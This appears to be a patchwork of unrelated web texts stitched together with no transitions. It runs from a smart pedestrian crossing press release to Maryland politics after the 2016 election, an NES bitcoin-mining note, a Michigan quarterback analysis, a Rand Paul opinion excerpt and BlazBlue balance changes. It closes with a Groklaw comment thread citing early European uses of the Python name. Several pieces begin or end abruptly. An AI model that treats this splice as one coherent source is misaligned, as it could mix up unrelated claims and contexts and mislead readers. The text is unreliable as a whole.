• It can use dynamic road and pavement patterns to grab the attention of "smombies" (i.e. pedestrians engrossed in their mobile phones), urging them to "look up" and focus on crossing the road safely and to make life safer for the 'head down' generation
Usman Haque, founding partner of Umbrellium, said: "This is a genuine problem and we've developed a genuine solution. The Smarter Crossing dynamically responds in real-time, using technology which has been designed with colours that we know and understand and practical designs that help those on the crossing feel comfortable, confident and safe.
This is about bringing pedestrian crossings up to speed with the rest of a modern-day city. Pedestrian crossings as we know them were made for a different age, when the human relationship with the city was completely different.
Our prototype is waterproof, can hold the weight of vehicles and can recognise the difference between pedestrians, vehicles and cyclists – it's ready to change the future of how we cross the road."
Rachael Lynch, Brand Activation Marketing Manager at Direct Line, said: "Direct Line develops high performance solutions to everyday challenges and our Smart Crossing is the latest example of this. We've developed a world first piece of technology to address the problems that arise when pedestrians, cyclists and vehicles meet; at a pedestrian crossing.
"Cities across the world are future proofing and we believe our model could be an essential part of everyday life. In a world where we are immersed in mobile technology, the Smart Crossing can pre-empt danger and urge pedestrians to look up before crossing a road."
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Treasurer Nancy Kopp said at the Board of Public Works meeting that she "appreciated" the way Hogan and Democratic Comptroller Peter Franchot did not support Trump, a Republican, during the election.
"I trust you will continue to speak out if and when the new regime reverts to the use of despicable language, threats and actions, and to also speak out now when this type of behavior appears in our communities," Kopp said.
Hogan was absent from the meeting. He was replaced by Lt. Gov. Boyd Rutherford, who said that "as far as the governor and I are concerned, we are focused, as we always have been, on Maryland."
Hogan had publicly disavowed Trump during the election. He skipped the Republican National Convention, then wrote in his father's name for president rather than voting for Trump.
The governor issued a statement after the election congratulating Trump and calling for unity. Hogan is attending the Republican Governors Association conference in Colorado this week.
Kopp also decried some of the anti-Semitic, racist and otherwise intolerant speech reported in Maryland over the past 10 days. On Monday, Maryland's attorney general linked the incidents to the atmosphere created by Trump's election.
"This is wrong," Kopp said. "It should have no place in Maryland. It should not be permitted in our communities."
The three-member Board of Public Works oversees billions in state spending each year and is made up of the governor, the treasurer and the comptroller. The three frequently use their meetings as an opportunity to comment on current events.
CAPTION Anton Black's family speaks about “Anton’s Law,” named after Anton Black, who died in law enforcement custody on Maryland’s Eastern Shore. (Luke Broadwater, Baltimore Sun video) Anton Black's family speaks about “Anton’s Law,” named after Anton Black, who died in law enforcement custody on Maryland’s Eastern Shore. (Luke Broadwater, Baltimore Sun video) CAPTION Baltimore County Executive Johnny Olszewski Jr. launches a task force to look into sexual assault investigation in the county. (Alison Knezevich, Baltimore Sun video) Baltimore County Executive Johnny Olszewski Jr. launches a task force to look into sexual assault investigation in the county. (Alison Knezevich, Baltimore Sun video)
Franchot said "it's time to accept the outcome" of the election, but he added that Trump's recent political appointments give "room for pause."
The comptroller is the latest prominent Maryland Democrat to criticize specifically Trump's appointment of Steve Bannon to a senior White House job.
Opponents have sharply criticized Bannon, a Breitbart News executive, for courting the so-called "alt-right" and using racially charged headlines on the website. Among the examples cited by critics is a headline describing conservative commentator Bill Kristol as a "Republican spoiler, renegade Jew."
Establishment Republicans, including Republican National Committee Chairman Reince Priebus, have defended Bannon, saying he did not write those headlines and has not exhibited intolerant behavior. Priebus is Trump's incoming chief of staff.
ecox@baltsun.com
Mining bitcoins is simply just performing a SHA256 hash on a random value from the bitcoin network and relaying the result of that calculation back to the Internet. Of course this requires an Internet to NES bridge; [gbg] brought in a Raspberry Pi for this task. There’s the problem of actually getting data into an NES, though, and that’s something only a USB CopyNES can handle. After doing some 32-bit math, the NES sends this out to the Raspberry Pi and onto the bitcoin network.
Consequently, what Devin Gardner has done this year in the midst of a 7-5 season (3-5 in B1G play) at Michigan is generally not regarded as being particularly impressive.
Brady Hoke got more than a few eyebrows raised when he suggested that Johnny Manziel would be QB2 on the Michigan depth chart and was likely doing little more than offering support for his signal caller. However, the importance of Gardner in Michigan's seven wins cannot be overstated.
While Hoke and Al Borges attempted to make the great leap forward and fully initiate Michigan's new "Power-coast" offense in 2013, Gardner quickly became the lynchpin to the entire operation. As the season progressed, the Wolverine staff had to scramble to find ways to re-start the offense after the rival Spartans brought it to a grinding halt and then threw it 48 yards backwards. Of course, Gardner was already scrambling every other play in order to to make the system work.
An understanding of exactly what Gardner accomplished in 2013 has to begin with an understanding of the pressure he faced all season.
With Rich Rodriguez and Denard Robinson, the Wolverines were a spread-option football team. Because of Robinson's skill set, Hoke and co. were never able to fully integrate that intended approach for the future. Eventually Gardner was moved over from WR and demonstrated some of the passing acumen necessary to run Borges' West Coast passing offense.
By all accounts, Gardner had a strong offseason, and the staff moved to fully install the future offense. But due to the limitations of the Wolverines' young personnel, Michigan fans didn't actually see the offense as it's intended to be operated until "the game" against Ohio State.
The biggest problem for the Wolverines was on the offensive line, which saw different lineups all year until the staff settled on a formula that worked against the Buckeyes. The final lineup included underclassmen at all three interior OL positions, bookended by the senior tackle tandem of Michael Schofield and Taylor Lewan. The constant turmoil was reflected in the horrendous play of the Wolverine line in both the run and pass game.
The next time you hear about how important and essential a dominant left tackle is to an offense, consider that Michigan's left tackle Taylor Lewan will be an All-American despite playing on a line that gave up 34 sacks, nearly three per game.
Here, you see one of many possible examples of this phenomenon with the Michigan offense. Taylor Lewan completely stonewalls his man while one of Pat Narduzzi's zone pressures annihilates the right side of the line.
Gardner was sacked seven times against the Spartans for minus-49 yards.
The demands of the Al Borges passing game are not overly simple for his quarterbacks and require precise timing, accuracy, and the ability to read defenses. Attempting to fulfill the demands of that offense under the kind of pressure Gardner faced all season is a monumental task.
This spacing concept is an example of the kind of throws West Coast teams use to control the ball and move the chains:
The ball is thrown into a tight window between the coverage of the safety and the linebacker. The timing and accuracy are essential, as is the trust between the receiver and the QB.
In this instance, he hits TE Jake Butt on a similar concept over the middle, releasing the ball as the receiver makes his move to get open.
Much more impressive are his timed routes thrown outside of the hash marks.
His accuracy on this rollout pass to Gallon makes the throw nearly un-defendable for the Irish and was a third-down and red zone weapon all year for the Wolverines.
Gardner found Gallon often enough to accumulate 1,284 receiving yards for the 5'8 target. For the season, Gardner threw for 2,960 yards at 8.3 yards per pass. He threw 11 total interceptions against 21 touchdown passes, but those mistakes are easily forgiven when considered in the context of Gardner running for his life every other snap.
There is good evidence to suggest that the duress Gardner played under took its toll within games. His QB passer ratings in the first and third quarters were 168.0 and 157.2, respectively, while he managed only 127.9 and 115.9 in quarters two and four.
If the physical pounding of being hit after throws or on sacks wasn't enough to beat down the Detroit native, Gardner also bore the burden of carrying the Michigan run game.
In Michigan's discouraging overtime defeat at Penn State, feature back Fitzgerald Toussaint ran for 27 yards on 27 carries while Gardner toted the rock 24 times for 121.
Until their swan song against Ohio State, the Wolverines were totally unable to run the ball without heavily involving Gardner in their schemes or rushing totals. He finished the year listed at 165 carries for 483 yards but if you remove the sacks you end up with a season of 131 intentional carries for 748 yards and 11 touchdowns.
Hoke managed to satisfy his desire to have a Power-O based offense in part through utilizing Gardner in the ubiquitous "Power-Read" concept.
The problem with "Power-Read" is that the QB becomes the inside runner and has to take the hits that come with cutting against the grain and being tackled by linebackers and safeties.
The concept was initially designed with the defensive "block down, step down" rules in place, meaning that an unblocked defensive lineman will usually step inside and spill plays to the outside against the option. Against that defensive response, the QB will only keep the ball and fire up the middle in the event that the unblocked defender dives after the RB and abandons the interior gap.
If defenses simply adjust their response to funnel the ball inside, then an offense has to consider whether they actually want to feature their QB as an inside runner in their offense on a regular basis.
Michigan had little choice, as they couldn't get their run game going between the tackles without the advantage of leaving a defender unblocked to be read by Gardner. Against Michigan State and Nebraska, when Gardner was stuffed, Michigan could mount absolutely no ground game at all and finished with dismal games.
It's astounding that Gardner survived the pounding he took over the course of the season and managed to start and finish each of Michigan's games.
2013 proved to be a year of transition for Michigan. The early victory against Notre Dame pointed hinted at a breakthrough year for the Wolverines, but instead it was a bridge, and it was a bridge held up on the shoulders of Devin Gardner.
There were times when Gardner held up the passageway for Michigan to cross over into the world of the Power-Coast offense:
And there were times when he found himself in a heap of trouble and reacted ... poorly.
Devin Gardner's 11 interceptions and hopeless series of performances from the Michigan State to Ohio State games will easily disqualify him from any major national attention or awards. However, in this "unsung heroes" series we can at least note the following:
He helped bridge the gap between RichRod spread and Al Borges pro-style offense and occasionally looked brilliant in concepts from either system.
He was asked to carry a heavy load making reads and timed throws in the passing game while breathing life into the run game. If he faltered in either, the Michigan offense could become utterly stagnant.
He took these tasks on while constantly under pressure; he took three sacks per game on average and also took hits navigating inside running lanes in the Wolverines' run game. He played in every game and shouldered that burden every Saturday.
Gardner's 2013 season was a remarkable accomplishment, completed with a perfectly symbolic conclusion. Gardner is asked to complete a two-point conversion pass to bring down undefeated Ohio State because his ankle had been injured and precluded a run attempt. He drops back and throws an interception after making a hasty read and attempting to hit a quick window.
These days, Paul, who is stuck in a civil war within the GOP over foreign policy issues, is trying to Reaganize himself and demonstrate that he’s not outside the Republican mainstream. (His Senate office did not respond to requests for comment.) But not long ago, Reagan was a foil for Paul, who routinely pointed out that the GOP’s most revered figure actually had been a letdown. It’s no surprise that denigrating Ronald Reagan—and commending Jimmy Carter—is no longer common for Paul. Such libertarian straight talk would hardly help him become one of the successors to the last Republican president who retains heroic stature within the party Paul wants to win over.
For me, though, these clips make Paul’s candidacy more appealing, not less. What the GOP needs is an honest, stringent account of how it has ended up where it is – a party that has piled on more debt than was once thought imaginable and until recently, has done nothing much to curtail federal spending. Reagan was a great president in many ways, as Paul says explicitly in these clips.
But Reagan introduced something truly poisonous into American conservatism.
It was the notion that you can eat your cake and have it too, that tax cuts pay for themselves and that deficits don’t matter. This isn’t and wasn’t conservatism; it was a loopy utopian denial of math. And the damage it has done to this country’s fiscal standing has been deep and permanent. It is one of modern conservatism’s cardinal sins. And Paul is addressing it forthrightly – just as he is addressing the terrible, devastating consequences of neo-conservatism for America and the world in the 21st Century.
With so much on their plate, it would have been easy for ArcSys to walk away from BlazBlue: Chronophantasma after the title’s successful arcade and console launches, but that’s certainly not the case. The developers are currently in the process of creating a ver.2.0 update for the popular fighter, and have been sharing bits and pieces of what players can expect.
The most recent collection of details comes courtesy of a new Famitsu interview. Battle planner Kyohei Kato and programmer Shunsuke Yuguchi sat down with the Japanese magazine to discuss Chronophantasma’s next update and how a few of the characters will change during the transition.
Dustloop’s Sourenga was kind enough to provide a translated list of the adjustments mentioned during the interview, which you’ll find below. Feel free to check it out and let us know how you think these cast members will fare when the update lands in arcades.
Please be aware that these changes run the possibility of not being final due to the location tests currently being held in Japan, so don’t go crazy just yet!
Azrael
Growler Field now has only projectile invincibility. In return the move’s hitbox is active much earlier.
You can also cancel Growler Fiel” into Phalanx Cannon immediately after absorbing a projectile.
Leopard Launcher now causes wall stick.
During Valiant Chaser both ground and aerial moves cause wall stick.
[hr]
Bang
Fuu gives an additional dash and allows you to pass through the opponent.
Rin makes you disappear during the dash and has complete projectile-invincibility.
Ka gives you 20% damage boost. Combo rate boost has been removed.
Zan improves the guard points in his D moves. It also allows you to block normally during Fu-Rin-Ka-Zan.
His Overdrive start-up has been shortened. The classic activation only appears when he’s low on health.
Volcanic Fury’s OD version no longer does lower damage than normal version if you’re missing Ka mark. Still does more damage with Ka mark.
Iron Storm’s command remains the same from 1.1, but the command priority system has been returned to 1.0 so you don’t accidentally use it.
[hr]
Hazama
Ouroboros meter changed, making it easier to follow.
Increased stock to 3.
[hr]
Izayoi
Aegis Blade is now a reversal move with invincibility.
Strike Fall can be canceled into Valkyrie Astrea and Mirage Thruster.
Izayoi has new cancel routes.
[hr]
Jin
Aim was to make Jin’s neutral game a little better.
Hishouken now flies faster and downs the opponent on counter-hit.
5D and 2D are special-cancelable.
2D is jump-cancelable on hit. This increases Jin’s combo variations.
Musou Senshouzan and Sekkajin are now more difficult to continue from.
Jin now needs to use his 6C or D Specials in a combo to deal big damage.
[hr]
Kokonoe
Graviton gauge has changed. Kokonoe now has 9 stocks of Graviton orbs. Both setting and activating consume 1 from the meter. Recovers when there are no Gravitons on the screen.
You can delay Activate by holding the button. You can build intesting stuff with it.
[hr]
Makoto
Lv2 D moves are special-cancelable.
Spacial Counter now has a new command and it’s a normal move with guard point.
[hr]
Ragna
Gauntlet Hades follow-up doesn’t lift the opponent as high as before.
If you delay the kick, you can still pick up and continue the combo.
[hr]
Valkenhayn
Himmel Wolf is now a normal techable throw and special-cancelable on a successful hit.
Konig Wolf and Eisen Wolf now have new variations that move in new directions.
Konig Flug can be done in Wolf mode.
The following may not be of much help, given the time window and the specific need of the Python Foundation, but here's what little I have here. I have a dead-tree copy here of "Core Python Programming", copyright date 2001 Prentice Hall PTR / Prentice Hall Inc. in New Jersey. On the copyrright page, it lists other branches of Prentice-Hall, including Prentice-Hall International (UK) Limited in London. Perhaps someone can confirm that this book was also published in London? Also, here is an interview (coincidentally, done by the author of the above-cited book) with Guido Van Rossem (the creator of Python) showing that the name was in use for this software package at least in 2002. The earliest reference I can dig up at the moment (have to dash off to real life) is he re -- this is an LSM entry for Python 1.5, dated January 1, 1998. This doesn't necessarily indicate anything about distribution in the UK, though. ---
"When I say something, I put my name next to it." -- Isaac Jaffe, "Sports Night" [ Reply to This | # ]
Authored by: Anonymous on Friday, February 15 2013 @ 09:12 AM EST
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DNSSEC:Unsigned
[ Reply to This | # ]
Authored by: Anonymous on Friday, February 15 2013 @ 09:15 AM EST
This google search locates pages mentioning the Python Software Foundation from
1995 through 1999.
https://www.google.com/search?q=Python+Software+Foundation&hl=en&sa=X&am
p;ei=mUIeUbWQJZSi8QTzrIH4Ag&ved=0CCEQpwUoBg&source=lnt&tbs=cdr%3A1%2
Ccd_min%3A1%2F1%2F1995%2Ccd_max%3A1%2F1%2F1999&tbm= [ Reply to This | # ]
Authored by: Anonymous on Friday, February 15 2013 @ 09:18 AM EST
Could we cite European Linux distros that used Python in them?
OpenSUSE/SLES/SLED and their predecessors would be a good start, followed by
Mandrake/Mandriva and Knoppix.
Any more for the list?
We could also cite
non-European distributions that are widely used, such as Redhat. [ Reply to This | # ]
Authored by: PJ on Friday, February 15 2013 @ 09:46 AM EST
H ere's a question from a user in the UK to the Python mailing list, using Python as found in Caldera 1.3, the year is 1999. [ Reply to This | # ]
Authored by: Anonymous on Friday, February 15 2013 @ 09:54 AM EST
Lets hope this request for information has a better outcome.
I still wonder what it was that OSRM found that was so disastrous for Linux that
Grokline had to be taken down? [ Reply to This | # ]
Authored by: PJ on Friday, February 15 2013 @ 09:56 AM EST
H ere's a message to the Python list from 1999 from Christian Gafton at Red Hat, about LORAX, Red Hat Linux Beta Release: Red Hat, Inc. is looking for a few brave hackers to try, test, break, and experiment on our latest beta release. Featuring Anaconda, a brand new installation procedure written in Python and featuring both text and GTK+-based interfaces for your installation pleasure. [ Reply to This | # ]
Authored by: hardmath on Friday, February 15 2013 @ 10:01 AM EST
The Python name was stolen fair and square from that of Flying Circus fame, which is one UK connection however tenuous. I wonder if there does not exist "fan" correspondence in Guido's files with troupe members confirming his intended homage? Certainly any Python trademark applied to software now would be "source" for confusion, unless approved by the fine folks at python.org. ---
Recursion is the opprobrium of the mathists. [ Reply to This | # ]
Authored by: vodad on Friday, February 15 2013 @ 10:05 AM EST
http://groups.google.com/group/comp.lang.python/index/browse_frm/month/1998-09?_
done=%2Fgroup%2Fcomp.lang.python%2Fbrowse_frm%2Fmonth%2F1998-09%3F&
Several of these are from members in Europe.
[ Reply to This | # ]
Authored by: jmc on Friday, February 15 2013 @ 10:27 AM EST
Eons ago when I first started off running my own business, in 1987 or so there
was a series of computers in the UK based on National Semiconductor chips called
the Python series.
Alas the company went belly-up (owing me a fair bit for programming work). Maybe
because every computer they sold got given a hostname of "Monty".
[ Reply to This | # ]
Python computers - Authored by: hedronist on Saturday, February 16 2013 @ 08:15 PM EST
Authored by: PJ on Friday, February 15 2013 @ 10:33 AM EST
Here's a message from 1999 announcing DISLIN 7.2:
http://mail.python.org/pipermail/python-list/1999-September/015041.html
[ANN] Data Plotting Library DISLIN 7.2
Helmut Michels michels at linax1.mpae.gwdg.de
Tue Sep 7 14:35:08 CEST 1999
Previous message: [Newbie] Win95 Python 1.5.2 with Tk, <Mousewheel>
not recognised
Next message: Suitability for games?
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
DISLIN is a high-level and easy to use plotting library for
displaying data as curves, bar graphs, pie charts, 3D-colour plots,
surfaces, contours and maps. Several output formats are supported
such as X11, VGA, PostScript, CGM, HPGL, TIFF, PNG and Prescribe.
The library contains about 400 plotting and parameter setting routines
and is available for several C, Fortran 77 and Fortran 90 compilers.
Some DISLIN distributions contain also plotting extensions for the
languages Perl, Python and Java.
Version 7.2 of DISLIN is now released with the following new features
- PNG support as output format
- Calendar axes
- 3-D bar graphs / 3-D pie charts
- Cursor routines
- Quickplots
Precomplied DISLIN extensions for Python are available for Windows
95/98/NT,
Linux, FreeBSD, Solaris and Digital UNIX. They can be used freely.
DISLIN distributions and manuals in PDF, PostScript and HTML format are
available from the DISLIN Home Page
http://www.linmpi.mpg.de/dislin
and via FTP from the server
ftp://ftp.gwdg.de/pub/grafik/dislin
Helmut Michels
Max-Planck-Institut fuer Aeronomie Phone: +49 5556 979-334
Max-Planck-Str. 2 Fax : +49 5556 979-240
D-37191 Katlenburg-Lindau Mail : michels at linmpi.mpg.de
[ Reply to This | # ]
Authored by: PJ on Friday, February 15 2013 @ 10:36 AM EST
Authored by: PJ on Friday, February 15 2013 @ 10:46 AM EST
Here's a paper, "Beyond: A Portable Virtual World Simulation Framework" by Jason Asbahr, offered in connection with a 1998 conference on using Python in simulation for games: Abstract This paper presents a global survey of current work on a commercial system, the Beyond Simulation Framework. Research and development of world simulation control code for real-time 3D environments is described. General approach, motivations, architecture, benefits, and the lessons learned are described, as well as future direction for work in this area. The emphasis is that the dynamic scripting approach described here has merit applied to the construction of entertainment and educational virtual environments. ... While many approaches are possible, the Python language satisfies the majority of the practical criteria for this project. The object orientated nature of Python, as well as its elegant syntax and support for runtime dynamic binding, recommend it for a rapid production environment. The existence of cross-platform support on Unix, Macintosh, and Wintel allow for an amazing level of simulation portability, which is of key importance for the reduction of development time and cost necessary to reach the broadest audience. Debuggers and profilers are already available for Python. Further, the high level of extensibility of Python allows for quick integration of third party libraries for rendering, sound, and network functionality. The applicability of Python as a control layer in large-scale projects is well documented [2, 6]. In addition, projects such as Alice and PUB demonstrate the applicability of Python to gaming tasks such as virtual reality, interactive fiction, and MUD systems [15, 21]. Alice in particular is pivotal in demonstrating both the power of Python in a 3D animation environment and the ease of scripting it makes possible. [2] Beazley, D.M., Lomdahl, P.S., “Feeding a Large Scale Physics Application to Python”, Proceedings of the 6th International Python Conference, San Jose, California, October 14-17, 1997. [6] Hinsen, K., “The Molecular Modeling Toolkit: a Case Study of a Large Scientific Application in Python”, Proceedings of the 6th International Python Conference, San Jose, California, October 14-17, 1997. [15] Pausch, R., et al., “A Brief Architectural Overview of Alice, a Rapid Prototyping System for Virtual Reality”, IEEE Computer Graphics and Applications, May 1995. [21] Strout, J., Python Universe Builder , http://www.strout.net/python/, June, 1996. [ Reply to This | # ]
Authored by: TiddlyPom on Friday, February 15 2013 @ 10:56 AM EST
Authored by: alisonken1 on Friday, February 15 2013 @ 11:21 AM EST
I have a mirror of slackware versions back to when it was first started. For Slackware version 2.1, there's a package list showing that python support was included in Emacs version 19.10, and according to Wikipedia (link to english version) , Slackware 2.1 was released around 1995. slackware-2.1/usr/lib/lemacs-19.10/lisp/packages/func- me nu.el:;;; Python support
slackware-2.1/usr/lib/lemacs-19.10/lisp/packages/func- menu.el:;;; Makefile, Maple, Modula2, Modula3, Pascal, Perl, Postscript, PVS, Python,
slackware-2.1/usr/lib/lemacs-19.10/lisp/packages/func- menu.el:;;; Python support
slackware-2.1/usr/lib/lemacs-19.10/lisp/packages/func- menu.el:(def const fume-function-name-regexp-python
slackware-2.1/usr/lib/lemacs-19.10/lisp/pa ckages/func- menu.el: "Expression to get Python class and function names")
slackware-2.1/usr/lib/lemacs-19.10/lisp/packages/func- menu.el: ;; Python
slackware-2.1/usr/lib/lemacs-19.10/lisp/packages/func- menu.el: (alice-mode . fume-function-name-regexp-python)
slackware-2.1/usr/lib/lemacs-19.10/lisp/p ackages/func- menu.el: (python-mode . fume-function-name-regexp-python)
slackware-2.1/usr/lib/lemacs-19.10/lisp/p ackages/func- menu.el:;;; Specialised routine to find the next Python function
slackware-2.1/usr/lib/lemacs-19.10/lisp/packages/func- menu.el:(d efun fume-find-next-python-function-name (buffer)
slackware-2.1/usr/lib/lemacs-19.10/lisp/packages/func- menu.el: "Searches for the next python function in BUFFER."
slackware-2.1/usr/lib/lemacs-19.10/lisp/packages/func- menu.el: (alice-mode . fume-find-next-python- function-name) ---
- Ken -
import std_disclaimer.py
Registered John Doe^W^WLinux user #296561
Slackin' since 1993
http://www.slackware.com [ Reply to This | # ]
Authored by: PJ on Friday, February 15 2013 @ 11:25 AM EST
There was a company called Caligari, which was bought up by Microsoft, which later decided not to support it any longer (Wayback has the founder of Caligari's letter to users of its product, called trueSpace, about it, dated 2009). trueSpace was for animation, and you could do scripts written in Python, according to this Wikipedia article: In 1993 Octree Software moved from New York to California and became known as Caligari Corporation. In 1994 trueSpace 1.0 was introduced on the Windows platform. In early 2008, the company was acquired by Microsoft and trueSpace 7.6 was released for free.1 As of May 19, 2009, Ormandy announced that TrueSpace had been discontinued... One of the most distinctive features of trueSpace is its interface, using mainly 3D widgets for most common editing operations. trueSpace can also be scripted, using Python for creating custom scripts, tools and plugins.... ___________
1 Emil Protalinski. "Result of the Caligari acquisition: trueSpace 7.6 goes free". Ars Technica. Retrieved 2008-07-25. [ Reply to This | # ]
Authored by: artp on Friday, February 15 2013 @ 11:33 AM EST
Waaaaaay down here....
"Eror" -> "Error" in Title Block, please.
Userfriendly on WGA server outage:
When you're chained to an oar you don't think you should go down when the galley
sinks ? [ Reply to This | # ]
Authored by: artp on Friday, February 15 2013 @ 11:34 AM EST
Perl, but no Python.
[No problem for me. I don't know Thing1 about Python.]
Userfriendly on WGA server outage:
When you're chained to an oar you don't think you should go down when the galley
sinks ? [ Reply to This | # ]
Authored by: artp on Friday, February 15 2013 @ 11:35 AM EST
URL, Please.
Userfriendly on WGA server outage:
When you're chained to an oar you don't think you should go down when the galley
sinks ? [ Reply to This | # ]
Authored by: artp on Friday, February 15 2013 @ 11:37 AM EST
See link above for "Comes v. MS".
Plain text transcriptions of Comes documents with HTML markup
for PJ.
Userfriendly on WGA server outage:
When you're chained to an oar you don't think you should go down when the galley
sinks ? [ Reply to This | # ]
Authored by: Anonymous on Friday, February 15 2013 @ 11:55 AM EST
This is not likely to be news to anybody, but one of the
earliest books about Python was first published in Germany:
Title Das Python-Buch
Authors Martin von Löwis, Nils Fischbeck
Publisher Addison Wesley Verlag, 1997
ISBN 3827311101, 9783827311108
Length 483 pages
I have a copy on my bookshelf that was imported to the US.
Other German Python books (including a new book by the same
authors) are listed here:
http://wiki.python.org/moin/GermanPythonBooks
German happens to be a good language to look in because it's
not widely spoken outside of Europe. Also, Germany had a
high penetration of computers compared, to, say, France at
the time. Might be worth checking Scandinavian languages
and Finnish too. [ Reply to This | # ]
Polish - Authored by: Anonymous on Friday, February 15 2013 @ 11:59 AM EST
- Authored by: Anonymous on Friday, February 15 2013 @ 11:59 AM EST French - Authored by: Anonymous on Friday, February 15 2013 @ 12:02 PM EST
- Authored by: Anonymous on Friday, February 15 2013 @ 12:02 PM EST SuSE? - Authored by: Anonymous on Saturday, February 16 2013 @ 04:56 AM EST And Mandrake - Authored by: cjk fossman on Tuesday, February 19 2013 @ 05:44 PM EST
- Authored by: Anonymous on Saturday, February 16 2013 @ 04:56 AM EST
Authored by: ThrPilgrim on Friday, February 15 2013 @ 12:05 PM EST
A quick search from The Register website got me
http://www.theregister.co.uk/2005/10/20/support_apache/ from 2005
Beware of him who would deny you access to information for in his heart he
considers himself your master. [ Reply to This | # ]
Authored by: scav on Friday, February 15 2013 @ 12:07 PM EST
It's not as though this is likely to be even a close call.
Python was originally created in the Netherlands, in the early 1990's if I
remember correctly. I was using Python 1.5.1 in Scotland (for the Whisky
industry) in the late 90's. And I wasn't even an early adopter or anything.
It had been out there for a while before I noticed it and switched from Java
to Python.
Clearly, any and all kinds of intellectual property can spawn a troll.
I wouldn't have thought 20-year-old trademarks on single well-known words
of the English language would be very promising troll-fodder, but maybe the
company in question is failing due to incompetence and is pulling a SCO, out
of desperation? I'm going to guess: yes.
(Note: by quoting any part of this comment in any way or context, you accept
that I am subject to Scots rather than English libel laws.)
The emperor, undaunted by overwhelming evidence that he had no clothes,
redoubled his siege of Antarctica to extort tribute from the penguins. [ Reply to This | # ]
Authored by: rsteinmetz70112 on Friday, February 15 2013 @ 12:17 PM EST
I surprised someone would really try this. A Google of Python Programming
Language brings up 15,200,000 results. Googling "Python Programming
Language" brings up 749,000 results.
Rsteinmetz - IANAL therefore my opinions are illegal.
"I could be wrong now, but I don't think so."
Randy Newman - The Title Theme from Monk
[ Reply to This | # ]
Authored by: Anonymous on Friday, February 15 2013 @ 12:17 PM EST
A quick search through PubMed shows an article titled: Python: a programming language for software integration and development. The article was written by MF Sanner. It was published in the Journal of Molecular Graphics and Modelling in 1999 (volume 17, issue 1, pages 57-61). The PubMed identification is PMID: 10660911. It references an earlier article: Michel F. Sanner et al. (1998). Integrating Computation and Visualization for Biomolecular Analysis: An example using Python and AVS. Proc. Pacific Symposium in Biocomputing ‘99. p.401-412. (PMID: 10380214) [ Reply to This | # ]
reference 6 - Authored by: Anonymous on Friday, February 15 2013 @ 12:33 PM EST
Authored by: Anonymous on Friday, February 15 2013 @ 12:27 PM EST
ABB - a fortune 500 comapany - developed the OMF middleware system in the
mind-90ites. It's mentioned in pythons own archives with an early writeup from
one of the developers of the system:
http://www.python.org/workshops/1996-06/papers/d.larsson-dist-objs.html
This is also a writeup of the system:
http://ieeexplore.ieee.org/xpl/login.jsp?tp=&arnumber=792056&url=http%3A
%2F%2Fieeexplore.ieee.org%2Fiel5%2F6433%2F17161%2F00792056.pdf%3Farnumber%3D7920
The system had intefaces into many programming languanges one of them was
Python. I'm not sure if the ieee paper mentions python or not but I presume it
does.
[ Reply to This | # ]
Authored by: capt.Hij on Friday, February 15 2013 @ 12:43 PM EST
I did a quick search for academic citations for the numpy library. This python library was started in the late nineties and has found widespread use by academics in science and math. It returned numerous citations for published papers. For example, there was a whole issue on using Python and numerical libraries in the IEEE Computing and Science Journal which is an international journal:
http://iee explore.ieee.org/xpl/tocresult.j sp?isnumber=4160244 For example, here are some Norwegians who published in the issue:
http://ieeexplore.ieee.org/xpl/articleDetail s.jsp? tp=&arnumber=4160257&contentType=Journals+%26+Magazines&sort Type%3Dasc_p_Sequence%26filter%3DAND%28p_IS_Number%3A4160244 %29 An other example, an international journal with Danish authors:
http://link.springer.com/chapter/10.1007%2F978-3- 642-24449-0_16?LI=true p> [ Reply to This | # ]
Authored by: Anonymous on Friday, February 15 2013 @ 01:02 PM EST
I'd have thought it worth mentioning the negative effect on the job market such
rebranding would cause. It's obvious from any eu job search site that
"python programmer" and "python developer" have well
understood meanings that are nothing to do with veber.
Didn't a hosting company lose a whole lot of business for paying SCO for Linux
licenses? I wonder if veber checked how many of their clients use python before
going down this road.. [ Reply to This | # ]
Authored by: Anonymous on Friday, February 15 2013 @ 01:10 PM EST
I know the Blender Foundation is based in Amsterdam and no
doubt several of the books sold through their store mention
the Python scripting backend it uses, not to mention just the
website in general (documentation and the like). [ Reply to This | # ]
Blender Foundation already on it.. - Authored by: Anonymous on Friday, February 15 2013 @ 02:37 PM EST
Authored by: Anonymous on Friday, February 15 2013 @ 01:48 PM EST
Not directly related to Python-the-Language, but the compiler of CMUCL
(a Common Lisp implementation) was called Python at least since
somewhere in the '80s.
Not sure about the predecessor project SPICE - but that would range
back even longer.
-- pm [ Reply to This | # ]
Authored by: OpenSourceFTW on Friday, February 15 2013 @ 02:33 PM EST
You might also search for Django, which I think is Python's answer to Ruby's
Ruby on Rails.
Find companies that use this framework, and you might find more good material. [ Reply to This | # ]
Authored by: Anonymous on Friday, February 15 2013 @ 02:50 PM EST
An excerpt from the copyright notice for the file pysoltk.py follows:
## PySol -- a Python Solitaire game
## Copyright (C) 2003 Markus Franz Xaver Johannes Oberhumer
## Copyright (C) 2002 Markus Franz Xaver Johannes Oberhumer
## Copyright (C) 2001 Markus Franz Xaver Johannes Oberhumer
## Copyright (C) 2000 Markus Franz Xaver Johannes Oberhumer
## Copyright (C) 1999 Markus Franz Xaver Johannes Oberhumer
## Copyright (C) 1998 Markus Franz Xaver Johannes Oberhumer
## All Rights Reserved.
## This program is free software; you can redistribute it and/or modify
## it under the terms of the GNU General Public License as published by
## the Free Software Foundation; either version 2 of the License, or
## (at your option) any later version.
(and more, of course)
The earliest date here is 1998.
Tkilgore, not logged in. [ Reply to This | # ]
Authored by: Anonymous on Friday, February 15 2013 @ 03:01 PM EST
For anyone who doesn't know, it's a serious piece of engineering software now owned by Dassault Systèmes, a suitably major European company. Abaqus has been using Python to allow users to write extensions since 2000, perhaps longer. IIRC it had a fair chunk of manual devoted to it. This product page is the oldest reference I've found. They were sufficiently active in the UK to hold their 1999 Users' Conference in Chester with speakers from Rolls Royce and British Steel. [ Reply to This | # ]
Authored by: rhdunn on Friday, February 15 2013 @ 03:11 PM EST
I sent them links to various PDFs of slides from ACCU conferences in the UK
(www.accu.org, only checked back to 2006) and various of their Overload
magazines (only checked #81 and later).
I was not able to find slides to the ACCU 2006 conference which had a track on
Python. [ Reply to This | # ]
Authored by: rhdunn on Friday, February 15 2013 @ 03:54 PM EST
See also (year is for the first European release):
# Video Games using Python as a Scripting Engine
Freedom Force [2002] - Irrational Games
Eve Online [2003] - CCP Games
The Temple of Elemental Evil [2003] - Troika Games
Vampire: The Masquerade - Bloodlines [2004] - Troika Games
Battlefield 2 [2005] - EA Games
Civilization IV [2005] - Firaxis Games
